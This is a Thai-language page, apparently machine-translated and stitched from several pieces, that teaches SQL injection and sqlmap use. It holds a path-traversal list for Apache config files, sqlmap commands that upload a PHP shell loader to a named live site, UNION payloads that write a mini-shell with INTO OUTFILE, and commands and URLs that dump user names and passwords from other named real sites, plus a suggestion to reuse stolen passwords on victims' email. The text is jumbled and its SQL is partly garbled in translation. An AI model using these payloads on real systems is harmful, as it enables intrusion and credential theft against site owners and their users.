../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ ท้องถิ่น/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

เราได้รับรายงานจาก sqlmap ในรูปแบบต่อไปนี้:


อย่างที่คุณเห็น sqlmap บอกเราว่าไฟล์มีขนาดเท่ากับไฟล์บนเซิร์ฟเวอร์ ดังนั้นเราจึงมีสิทธิ์อ่านไฟล์นี้ หากมีสิทธิ์ไม่เพียงพอในการอ่านไฟล์นี้ก็จะเกิดข้อผิดพลาดว่าไฟล์ที่บันทึกในเครื่องของเรามีขนาดแตกต่างจากไฟล์บนเซิร์ฟเวอร์หรือไม่มีไฟล์บนเซิร์ฟเวอร์ตามเส้นทางที่เราระบุและไม่เคยมี รับ Sqlmap บันทึกไฟล์ของเราไว้ในไฟล์รายงาน และหากต้องการอ่านมัน เราจำเป็นต้องเปิดตัวจัดการหน้าต่าง ในการเรียกใช้ตัวจัดการหน้าต่างให้เปิดหน้าต่างเทอร์มินัลอื่นแล้วป้อนคำสั่ง:

ต่อไปในตัวจัดการที่เปิดขึ้น เราจะปฏิบัติตามเส้นทางที่ sqlmap เพิ่มไฟล์ เช่น:
/root/.sqlmap/output/sacoor.com
จากนั้นเลื่อนเคอร์เซอร์ไปที่ไฟล์แล้วกดปุ่ม F3บนแป้นพิมพ์และอ่านไฟล์ปรับแต่ง Apache:


จากไฟล์กำหนดค่าของเรา เราพบว่าไซต์ของเราอยู่บนเซิร์ฟเวอร์ตามเส้นทางต่อไปนี้:
/home/sbshop/site/

ตอนนี้เรามีข้อมูลเพียงเล็กน้อยแล้ว เราก็สามารถลองเติมข้อมูลในเชลล์ได้ โดยป้อนคำสั่งต่อไปนี้:

หลังจากป้อนคำสั่งแล้ว sqlmap จะถามว่าเราต้องการใช้ฟิลเลอร์ชนิดใด เพราะ... ในกรณีของเรา เว็บไซต์เป็น PHP จากนั้นเราจะอัปโหลด ตัวโหลด PHP, เลือก จุดที่ 4และกด Enter ต่อไป sqlmap จะขอให้เราเลือกว่าเราจะอัพโหลดโหลดเดอร์ของเราที่ไหน และเนื่องจาก... เราทราบเส้นทางไปยังเว็บไซต์ของเราบนเซิร์ฟเวอร์แล้ว จากนั้นเลือก จุดที่ 2, กด เข้าและระบุเส้นทางไปยังเว็บไซต์:
/home/sbshop/site/

และหลังจากนั้นเราก็กด เข้าและเราเห็นรายงานต่อไปนี้:


ในกรณีนี้ sqlmap บอกเราว่าเราไม่มีสิทธิ์ในการเขียนโฟลเดอร์นี้ ไม่มีปัญหา ปัญหานี้แก้ไขได้ง่ายมาก เราให้คำสั่งให้เรียกใช้ Uniscan และตรวจสอบไฟล์และโฟลเดอร์เพื่อการเขียน นี่คือคำสั่ง:

Uniscan -u http://www.sacoor.com/ -qwe

ตอนนี้สแกนเนอร์จะตรวจสอบไดเร็กทอรีที่เขียนได้ทั้งหมด:


เครื่องสแกนพบไดเร็กทอรีสามไดเร็กทอรีที่สามารถเขียนไฟล์ได้ ดังนั้นเราจึงพยายามโหลดเชลล์โหลดเดอร์ของเราอีกครั้ง แต่คราวนี้แตกต่างออกไป รันคำสั่งอีกครั้ง:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

และโดยการเลือก จุดที่ 4(กรอกสคริปต์ PHP) ระบุเส้นทาง:
/home/sbshop/site/admin

เราเห็นดังต่อไปนี้

สวัสดีผู้อ่าน เมื่อเร็ว ๆ นี้ ฉันสนใจในเรื่องความปลอดภัยของเว็บ และงานของฉันก็เกี่ยวข้องกับเรื่องนี้ในระดับหนึ่ง เพราะ บ่อยครั้งที่ฉันเริ่มสังเกตเห็นหัวข้อต่างๆ ในฟอรัมต่างๆ ที่ขอให้พวกเขาแสดงให้เห็นว่ามันทำงานอย่างไร ดังนั้นฉันจึงตัดสินใจเขียนบทความ บทความนี้จะมุ่งเป้าไปที่ผู้ที่ยังไม่เคยเจอสิ่งนี้แต่ต้องการเรียนรู้ มีบทความค่อนข้างมากในหัวข้อนี้บนอินเทอร์เน็ต แต่จะซับซ้อนเล็กน้อยสำหรับผู้เริ่มต้น ฉันจะพยายามอธิบายทุกอย่างด้วยภาษาที่ชัดเจนและตัวอย่างโดยละเอียด

คำนำ

เพื่อที่จะเข้าใจบทความนี้ คุณไม่จำเป็นต้องมีความรู้เกี่ยวกับภาษา SQL จริงๆ แต่อย่างน้อยก็มีความอดทนและมีสมองในการท่องจำ

เชื่อว่าแค่อ่านบทความอย่างเดียวคงไม่พอ เพราะ... เราต้องการตัวอย่างที่มีชีวิต - ดังที่คุณทราบ การฝึกฝนในกระบวนการท่องจำนั้นไม่เคยฟุ่มเฟือย ดังนั้นเราจะเขียนสคริปต์ที่มีช่องโหว่และฝึกฝนกับมัน

SQL Inject คืออะไร?
พูดง่ายๆ ก็คือนี่คือการโจมตีฐานข้อมูลซึ่งจะช่วยให้คุณสามารถดำเนินการบางอย่างที่ผู้สร้างสคริปต์ไม่ได้วางแผนไว้ ตัวอย่างจากชีวิต:

พ่อเขียนบันทึกถึงแม่เพื่อมอบเงิน 100 รูเบิลให้กับวาสยาแล้ววางลงบนโต๊ะ การนำสิ่งนี้กลับมาใช้ใหม่เป็นภาษา SQL แบบการ์ตูน เราได้รับ:
รับ 100 รูเบิลจากกระเป๋าเงินของคุณแล้วมอบให้วาสยา

เนื่องจากพ่อเขียนโน้ตได้ไม่ดี (ลายมืองุ่มง่าม) และทิ้งมันไว้บนโต๊ะ Petya น้องชายของ Vasya จึงเห็นมัน Petya ซึ่งเป็นแฮกเกอร์จึงเพิ่มคำว่า “OR Pete” ลงไปที่นั่น และผลลัพธ์ก็คือคำขอต่อไปนี้:
รับ 100 RUBLES จากกระเป๋าเงินของคุณแล้วมอบให้ Vasya หรือ Petya

แม่หลังจากอ่านบันทึกแล้วตัดสินใจว่าเธอให้เงินกับ Vasya เมื่อวานนี้และมอบ 100 รูเบิลให้กับ Petya นี่คือตัวอย่างง่ายๆ ของการฉีด SQL จากชีวิต :) โดยไม่ต้องกรองข้อมูล (แม่แทบจะไม่เข้าใจลายมือเลย) Petya ก็ทำกำไรได้

การตระเตรียม
สำหรับการปฏิบัติ คุณจะต้องมีไฟล์เก็บถาวรพร้อมสคริปต์ต้นฉบับสำหรับบทความนี้ ดาวน์โหลดและแกะมันบนเซิร์ฟเวอร์ นำเข้าฐานข้อมูลและตั้งค่าข้อมูลในไฟล์ด้วย cfg.php

ค้นหาการฉีด SQL

ตามที่คุณเข้าใจแล้ว การแทรกจะมาจากข้อมูลขาเข้าที่ไม่ได้กรอง ข้อผิดพลาดที่พบบ่อยที่สุดคือการไม่กรอง ID ที่ส่ง พูดคร่าวๆ ใส่เครื่องหมายคำพูดในทุกช่อง ไม่ว่าจะเป็นคำขอ GET/POST หรือแม้แต่คุกกี้!

พารามิเตอร์อินพุตตัวเลข
สำหรับการฝึกฝนเราจำเป็นต้องมีสคริปต์ index1.php- ดังที่ได้กล่าวไปแล้วข้างต้น เราจะใส่เครื่องหมายคำพูดลงในรหัสข่าว

เพราะ คำขอของเราไม่มีการกรอง:

$id = $_GET["id"]; $query = "SELECT * จากข่าว WHERE id=$id";

สคริปต์จะเข้าใจสิ่งนี้เป็น

SELECT * จากข่าว โดยที่ id=1"

และมันจะทำให้เรามีข้อผิดพลาด:
คำเตือน: mysql_fetch_array() คาดว่าพารามิเตอร์ 1 จะเป็นทรัพยากร โดยให้บูลีนใน C:\WebServ\domains\sqlinj\index1.php ออนไลน์ที่ 16

หากข้อผิดพลาดไม่ปรากฏขึ้น อาจเกิดจากสาเหตุต่อไปนี้:

1.การแทรก SQL ไม่อยู่ที่นี่ - ราคาถูกกรองแล้ว หรือคุ้มค่าที่จะแปลงเป็น (int)
2. เอาต์พุตข้อผิดพลาดถูกปิดใช้งาน

หากคุณยังคงได้รับข้อผิดพลาด - ไชโย! เราพบการฉีด SQL ประเภทแรก - พารามิเตอร์อินพุตตัวเลข

พารามิเตอร์อินพุตสตริง

เราจะส่งคำขอไปที่ index2.php- ในไฟล์นี้ คำขอจะมีลักษณะดังนี้:
$user = $_GET["ผู้ใช้"]; $query = "เลือก * จากข่าว WHERE user="$user"";

ที่นี่เราเลือกข่าวตามชื่อผู้ใช้ และอีกครั้ง เราไม่ได้กรอง
เราส่งคำขอพร้อมใบเสนอราคาอีกครั้ง:

มันทำให้เกิดข้อผิดพลาด ตกลง! ซึ่งหมายความว่ามีช่องโหว่ สำหรับผู้เริ่มต้น นั่นก็เพียงพอแล้วสำหรับเรา - มาฝึกซ้อมกันดีกว่า

มาดำเนินการกันเถอะ

ทฤษฎีเล็กน้อย

คุณอาจแทบรอไม่ไหวที่จะได้อะไรจากสิ่งนี้นอกเหนือจากความผิดพลาด ก่อนอื่นให้เข้าใจว่าป้าย " -- " ถือเป็นความคิดเห็นใน SQL

ความสนใจ! จะต้องมีช่องว่างก่อนและหลัง ใน URL จะถูกส่งเป็น %20

ทุกอย่างที่เกิดขึ้นหลังจากความคิดเห็นจะถูกละทิ้ง นั่นคือคำขอ:
SELECT * จากข่าว WHERE user="AlexanderPHP" -- habrahabra

มันจะประสบความสำเร็จ คุณสามารถลองสิ่งนี้บนสคริปต์ index2.php โดยส่งคำขอดังนี้:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

เรียนรู้พารามิเตอร์ ยูเนี่ยน- ในภาษา SQL คำหลัก ยูเนี่ยนใช้เพื่อรวมผลลัพธ์ของแบบสอบถาม SQL สองรายการไว้ในตารางเดียว นั่นคือเพื่อดึงสิ่งที่เราต้องการออกมาจากโต๊ะอื่น

มาใช้ประโยชน์จากมันกันเถอะ

หากพารามิเตอร์เป็น "ตัวเลข" เราไม่จำเป็นต้องส่งใบเสนอราคาในคำขอและใส่ความคิดเห็นไว้ตอนท้ายตามปกติ กลับไปที่สคริปต์กัน index1.php.

ลองเปลี่ยนเป็นสคริปต์ sqlinj/index1.php?id=1 UNION SELECT 1 แบบสอบถามฐานข้อมูลของเรามีลักษณะดังนี้:
SELECT * จากข่าว WHERE id=1 UNION SELECT 1
และเขาทำให้เราผิดพลาดเพราะ... ในการทำงานกับการสืบค้นแบบรวม เราจำเป็นต้องมีฟิลด์จำนวนเท่ากัน

เพราะ เราไม่สามารถควบคุมหมายเลขของพวกเขาในคำขอแรกได้ จากนั้นเราต้องเลือกหมายเลขของพวกเขาในคำขอที่สองเพื่อให้เท่ากับหมายเลขแรก

การเลือกจำนวนช่อง

การเลือกฟิลด์นั้นง่ายมาก เพียงส่งคำขอต่อไปนี้:
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2
ข้อผิดพลาด…
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2,3
ผิดพลาดอีกแล้ว!
sqlinj/index1.php?id=1 ยูเนี่ยนเลือก 1,2,3,4,5
ไม่มีข้อผิดพลาด! ซึ่งหมายความว่าจำนวนคอลัมน์คือ 5

จัดกลุ่มตาม
มันมักจะเกิดขึ้นที่อาจมี 20 หรือ 40 หรือ 60 ฟิลด์ เพื่อที่เราจะได้ไม่ต้องเรียงลำดับมันทุกครั้งที่เราใช้ จัดกลุ่มตาม

หากเป็นการร้องขอ
sqlinj/index1.php?id=1 จัดกลุ่มตาม 2
ไม่แสดงข้อผิดพลาดใดๆ ซึ่งหมายความว่ามีจำนวนฟิลด์มากกว่า 2 เรามาลองกัน:

Sqlinj/index1.php?id=1 จัดกลุ่มตาม 8
อ๊ะ เราเห็นข้อผิดพลาด หมายความว่าจำนวนฟิลด์น้อยกว่า 8

หากไม่มีข้อผิดพลาดกับ GROUP BY 4 และด้วย GROUP BY 6 มีข้อผิดพลาด จำนวนฟิลด์คือ 5

การกำหนดคอลัมน์เอาท์พุต
เพื่อให้แน่ใจว่าไม่มีสิ่งใดปรากฏแก่เราตั้งแต่คำขอแรก การทดแทน ID ที่ไม่มีอยู่ก็เพียงพอแล้ว เช่น:

Sqlinj/index1.php?id=-1 ยูเนี่ยนเลือก 1,2,3,4,5

ด้วยการกระทำนี้ เราได้กำหนดว่าคอลัมน์ใดจะแสดงบนเพจ ในตอนนี้ หากต้องการแทนที่หมายเลขเหล่านี้ด้วยข้อมูลที่จำเป็น คุณจะต้องดำเนินการคำขอต่อไป

เอาท์พุทข้อมูล

สมมติว่าเรารู้ว่าตารางยังคงอยู่ ผู้ใช้ซึ่งมีทุ่งนาอยู่ รหัส, ชื่อและ ผ่าน.
เราจำเป็นต้องได้รับข้อมูลเกี่ยวกับผู้ใช้ที่มี ID=1

ดังนั้น เรามาสร้างแบบสอบถามต่อไปนี้:

Sqlinj/index1.php?id=-1 UNION เลือก 1,2,3,4,5 จากผู้ใช้ โดยที่ id=1
สคริปต์ยังคงส่งออกต่อไป

ในการดำเนินการนี้ เราจะแทนที่ชื่อของช่องต่างๆ แทนหมายเลข 1 และ 3

Sqlinj/index1.php?id=-1 ชื่อ UNION SELECT,2,ผ่าน,4,5 จากผู้ใช้โดยที่ id=1
เราได้สิ่งที่เราต้องการแล้ว!

สำหรับ "พารามิเตอร์อินพุตสตริง" เช่นเดียวกับในสคริปต์ index2.phpคุณต้องเพิ่มเครื่องหมายคำพูดที่จุดเริ่มต้นและเครื่องหมายความคิดเห็นที่ส่วนท้าย ตัวอย่าง:
sqlinj/index2.php?user=-1" ชื่อ UNION SELECT,2,ผ่าน,4,5 จากผู้ใช้ โดยที่ id=1 --%20

อ่าน/เขียนไฟล์

หากต้องการอ่านและเขียนไฟล์ ผู้ใช้ฐานข้อมูลจะต้องมีสิทธิ์ FILE_PRIV
ไฟล์บันทึก
จริงๆ แล้วมันเป็นเรื่องง่ายมาก ในการเขียนไฟล์เราจะใช้ฟังก์ชัน เอาท์ไฟล์.
sqlinj/index2.php?user=-1" UNION เลือก 1,2,3,4,5 ลงใน OUTFILE "1.php" --%20
เยี่ยมมาก ไฟล์นี้ได้รับการลงทะเบียนกับเราแล้ว ดังนั้น เราสามารถเติม mini-shell ได้:
sqlinj/index2.php?user=-1" ยูเนี่ยนเลือก 1"",3,4,5 เข้าไปในไฟล์ "1.php" --%20
กำลังอ่านไฟล์
การอ่านไฟล์นั้นง่ายกว่าการเขียน การใช้ฟังก์ชันเพียงอย่างเดียวก็เพียงพอแล้ว โหลด_ไฟล์สำหรับตำแหน่งของสนามที่เราเลือก:

Sqlinj/index2.php?user=-1" ยูเนี่ยนเลือก 1,LOAD_FILE("1.php"),3,4,5 --%20

ดังนั้นเราจึงได้อ่านไฟล์ที่เขียนไว้ก่อนหน้านี้แล้ว

วิธีการป้องกัน

การป้องกันตัวเองนั้นง่ายกว่าการหาประโยชน์จากจุดอ่อน เพียงกรองข้อมูล หากคุณกำลังผ่านตัวเลขให้ใช้
$id = (int) $_GET["id"];
ตามที่ผู้ใช้ malroc แนะนำ ป้องกันตัวเองโดยใช้ PDO หรือข้อความที่เตรียมไว้

แทนที่จะทำให้เสร็จ

นี่คือจุดที่ฉันต้องการจบส่วนแรกเกี่ยวกับ "การฉีด SQL สำหรับผู้เริ่มต้น" ในส่วนที่สองเราจะดูตัวอย่างการฉีดที่รุนแรงยิ่งขึ้น ลองเขียนสคริปต์ที่มีช่องโหว่และดำเนินการค้นหาด้วยตนเอง
และจำไว้ว่าอย่าเชื่อถือผู้ใช้ไซต์ของคุณ

sqlmap คืออะไรและมีไว้เพื่ออะไร?

โปรแกรมนี้ช่วยให้คุณตรวจสอบไซต์เพื่อหาช่องโหว่ของการแทรก SQL, ช่องโหว่ XSS และยังใช้ประโยชน์จากการแทรก SQL รองรับการแทรก SQL ประเภทต่างๆ และฐานข้อมูลที่หลากหลาย

คุณสามารถทำอะไรกับ sqlmap

ด้วย sqlmap คุณสามารถ:

  • ตรวจสอบว่าเว็บไซต์มีช่องโหว่หรือไม่

หากไซต์เสี่ยงต่อการถูกฉีด SQL ก็เป็นไปได้:

  • รับข้อมูลจากฐานข้อมูลรวมทั้งฐานข้อมูลดัมพ์ (ทั้งหมด)
  • แก้ไขและลบข้อมูลจากฐานข้อมูล
  • อัปโหลดเชลล์ (แบ็คดอร์) ไปยังเว็บเซิร์ฟเวอร์

หนึ่งในสถานการณ์สำหรับการใช้ sqlmap:

  • รับ Username และ Password จากฐานข้อมูล
  • ค้นหาแผงการดูแลระบบไซต์ (แผงผู้ดูแลระบบ)
  • เข้าสู่ระบบแผงผู้ดูแลระบบด้วยข้อมูลเข้าสู่ระบบและรหัสผ่านที่ได้รับ

หากมีช่องโหว่ การโจมตีสามารถพัฒนาไปในทิศทางต่างๆ:

  • การปรับเปลี่ยนข้อมูล
  • เติมประตูหลัง
  • การแทรกโค้ด JavaScript เพื่อรับข้อมูลผู้ใช้
  • การใช้โค้ดสำหรับการเชื่อมต่อกับ BeEF

ดังที่เราเห็นแล้วว่าการแทรก SQL ถือเป็นช่องโหว่ที่อันตรายมากซึ่งทำให้ผู้โจมตีมีโอกาสที่ดี

การตรวจสอบเว็บไซต์โดยใช้ sqlmap

หากไซต์ได้รับข้อมูลจากผู้ใช้โดยใช้วิธี GET (เมื่อมองเห็นทั้งชื่อของตัวแปรและข้อมูลที่ส่งในแถบที่อยู่ของเบราว์เซอร์) คุณจะต้องเลือกที่อยู่ของเพจที่ตัวแปรนี้อยู่ ปัจจุบัน. มันมาหลังเครื่องหมายคำถาม ( ? ), ตัวอย่างเช่น:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

ในที่อยู่แรก ชื่อตัวแปรคือ รหัสและค่าที่ส่งผ่านคือ 8 - ที่อยู่ที่สองจะมีชื่อตัวแปรด้วย รหัสและค่าที่ส่ง 22 - ในตัวอย่างที่สาม ชื่อตัวแปรเหมือนกัน แต่ค่าที่ส่งผ่านคือ p_36- ชื่อตัวแปรเดียวกันคือการจับคู่แบบสุ่มสำหรับไซต์ต่างๆ อาจเป็นอะไรก็ได้ ข้อมูลที่ส่งอาจเป็นอะไรก็ได้ อาจมีตัวแปรหลายตัวโดยมีค่าคั่นด้วยสัญลักษณ์ & .

หากเราต้องการตรวจสอบว่าตัวแปร id เสี่ยงต่อการแทรก SQL หรือไม่ เราจำเป็นต้องป้อนที่อยู่ทั้งหมด - http://www.dwib.org/faq2.php?id=8 (ไม่ใช่ http://www.dwib .org /faq2.php หรือ http://www.dwib.org)

คำสั่งเพื่อตรวจสอบตัวแปรที่ส่งผ่านโดยวิธี GET นั้นง่ายมาก:

Sqlmap -u site_address

สำหรับไซต์เหล่านี้ คำสั่งจะเป็น:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

ในระหว่างกระบวนการตรวจสอบ sqlmap อาจถามคำถามต่าง ๆ และคุณต้องตอบคำถามเหล่านั้น (เช่นใช่) หรือ n(เช่น ไม่) ตัวอักษร y และ n อาจเป็นตัวพิมพ์ใหญ่หรือเล็กก็ได้ ตัวพิมพ์ใหญ่หมายถึงตัวเลือกเริ่มต้น หากคุณเห็นด้วย ให้กด Enter

ตัวอย่างสถานการณ์และคำถาม:

การวิเคราะห์พฤติกรรมตรวจพบว่าเป้าหมายได้รับการปกป้องโดย WAF/IPS/IDS บางประเภท คุณต้องการให้ sqlmap พยายามตรวจจับแบ็กเอนด์ WAF/IPS/IDS หรือไม่

การวิเคราะห์พฤติกรรมระบุว่าเป้าหมายได้รับการปกป้องโดย WAF/IPS/IDS บางประเภท คุณต้องการให้ sqlmap พยายามระบุชื่อของ WAF/IPS/IDS หรือไม่

คำขอโปรดของฉัน:

การทดสอบแบบศึกษาสำนึก (พื้นฐาน) แสดงให้เห็นว่าพารามิเตอร์ GET "id" อาจเป็นแบบฉีดได้ (DBMS ที่เป็นไปได้: "MySQL") การทดสอบสำหรับการแทรก SQL บนพารามิเตอร์ GET "id" ดูเหมือนว่า DBMS ส่วนหลังคือ "MySQL" คุณต้องการข้ามเพย์โหลดทดสอบเฉพาะสำหรับ DBMS อื่นๆ หรือไม่

ประเด็นก็คือการวิเคราะห์พฤติกรรมได้พิจารณาว่าพารามิเตอร์อาจมีช่องโหว่และมีการระบุ DBMS ระยะไกลแล้ว ระบบจะถามว่าเราต้องการตรวจสอบต่อไปหรือไม่ และในภาพหน้าจอที่สอง ไซต์ดังกล่าวยังมีความเสี่ยงต่อ XSS อีกด้วย

หากคุณต้องการทำให้กระบวนการเป็นแบบอัตโนมัติเพื่อให้ sqlmap ไม่ถามคุณทุกครั้ง แต่ใช้การเลือกเริ่มต้น (มีตัวเลือกที่ดีกว่าเสมอ) คุณสามารถรันคำสั่งด้วยตัวเลือกได้ --แบทช์:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --แบทช์

ปัญหาที่อาจเกิดขึ้นเมื่อสแกน sqlmap

ข้อผิดพลาดต่อไปนี้อาจปรากฏขึ้น:

การเชื่อมต่อกับ URL เป้าหมายหมดเวลา sqlmap กำลังจะลองคำขออีกครั้งหากปัญหายังคงมีอยู่ โปรดตรวจสอบว่า URL เป้าหมายที่ให้มานั้นถูกต้อง ในกรณีที่เป็นเช่นนั้น คุณสามารถลองรันใหม่โดยเปิดสวิตช์ "--random-agent" และ/หรือสวิตช์พร็อกซี ("--ignore-proxy", "--proxy",...)

หมายความว่าเว็บไซต์ไม่ต้องการ "พูดคุย" กับ sqlmap เป็นตัวเลือกที่เราเสนอให้ใช้ --สุ่มตัวแทน- หากคุณสามารถดูไซต์ในเบราว์เซอร์ได้ แต่ sqlmap เขียนเกี่ยวกับความเป็นไปไม่ได้ในการเชื่อมต่อ แสดงว่าไซต์นั้นเพิกเฉยต่อคำขอ โดยมุ่งเน้นไปที่ตัวแทนผู้ใช้ ตัวเลือก --random-agent เปลี่ยนค่า sqlmap มาตรฐานเป็นแบบสุ่ม:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

อีกสาเหตุหนึ่งของข้อผิดพลาดนี้อาจเป็นได้ว่า IP ของคุณถูกบล็อกโดยเว็บไซต์ - จากนั้นคุณต้องใช้พรอกซี หากคุณใช้พร็อกซีอยู่แล้วและข้อผิดพลาดนี้ปรากฏขึ้น อาจหมายความว่าพร็อกซีมีปัญหาในการสื่อสาร และคุณควรลองโดยไม่ใช้พร็อกซีดังกล่าว

ผลลัพธ์การสแกน sqlmap

การฉีด SQL ที่ตรวจพบจะแสดงดังนี้:

เหล่านั้น. จะถูกเน้นด้วยสีเขียวตัวหนา เขียนชื่อพารามิเตอร์ที่มีช่องโหว่ ชนิดของช่องโหว่ SQL และมีคำว่า ฉีดได้.

รับรายการฐานข้อมูลด้วย sqlmap

หากต้องการรับรายการฐานข้อมูล ให้ใช้ตัวเลือก --dbs- ตัวอย่าง:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

การดึงข้อมูลจากฐานข้อมูล

ตัวอย่างเช่น พบฐานข้อมูลสองฐานข้อมูลสำหรับไซต์ wellerpools.com:

[*] information_schema [*] main_wellerpools

ฉันต้องการทราบรายการตารางในฐานข้อมูล main_wellerpools เมื่อต้องการทำเช่นนี้ ให้ใช้ตัวเลือก --ตาราง- นอกจากนี้เรายังต้องระบุตารางที่เราสนใจหลังตัวเลือกด้วย -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

รายชื่อตาราง:

ด้วยเหตุผลบางอย่าง ฉันต้องการทราบรายการคอลัมน์จากตารางผู้ใช้ เมื่อต้องการทำเช่นนี้ ให้ใช้ตัวเลือก --คอลัมน์- นอกจากนั้นเราจำเป็นต้องระบุฐานข้อมูลที่เราสนใจ ( -D main_wellerpools) และหลังกุญแจ -ตตารางที่เราต้องการดูรายการคอลัมน์:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T ผู้ใช้ --columns

หากต้องการแสดงเนื้อหา ให้ใช้ตัวเลือก --การถ่ายโอนข้อมูล- สามารถระบุร่วมกับฐานข้อมูลได้ จากนั้นจะมีการสร้างดัมพ์ของฐานข้อมูลทั้งหมด หรือคุณสามารถจำกัดข้อมูลไว้ที่ตารางเดียวหรือคอลัมน์เดียวก็ได้ ด้วยคำสั่งต่อไปนี้ ฉันต้องการดูเนื้อหาของตารางผู้ใช้ทั้งหมด:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T ผู้ใช้ --dump

ดูรหัสผ่าน - เมื่อตรวจสอบอย่างรวดเร็ว ฉันคิดว่ามันเป็นแฮช ผู้ดูแลระบบพยายามปกป้องตัวเองจริงๆ แต่ก็ไม่ได้ช่วยอะไรพวกเขา

อย่างไรก็ตาม เนื่องจากพารามิเตอร์ที่รับข้อมูลที่ส่งโดยวิธี GET นั้นมีช่องโหว่ คุณจึงสามารถสร้างคำขอได้โดยตรงในบรรทัดเบราว์เซอร์ในลักษณะที่ข้อมูลเข้าสู่ระบบและรหัสผ่านของผู้ใช้จะปรากฏบนเว็บไซต์โดยตรง:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+จาก+ผู้ใช้--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+จาก+ผู้ใช้--

เหล่านั้น. เรามีชื่อผู้ใช้ รหัสผ่าน และอีเมลของผู้ใช้ (และอาจเป็นผู้ดูแลระบบด้วยซ้ำ) ของเว็บไซต์ หากคุณพบแผงการดูแลระบบของไซต์ คุณสามารถควบคุมไซต์หรือเว็บเซิร์ฟเวอร์ได้ เนื่องจากผู้ใช้ชื่นชอบรหัสผ่านเดียวกันและรู้จักกล่องจดหมายของพวกเขา คุณสามารถลองแฮ็กเมลของพวกเขาได้

โดยทั่วไปแล้ว การแทรก SQL ถือเป็นช่องโหว่ที่อันตรายมาก

สิ่งตีพิมพ์ในหัวข้อ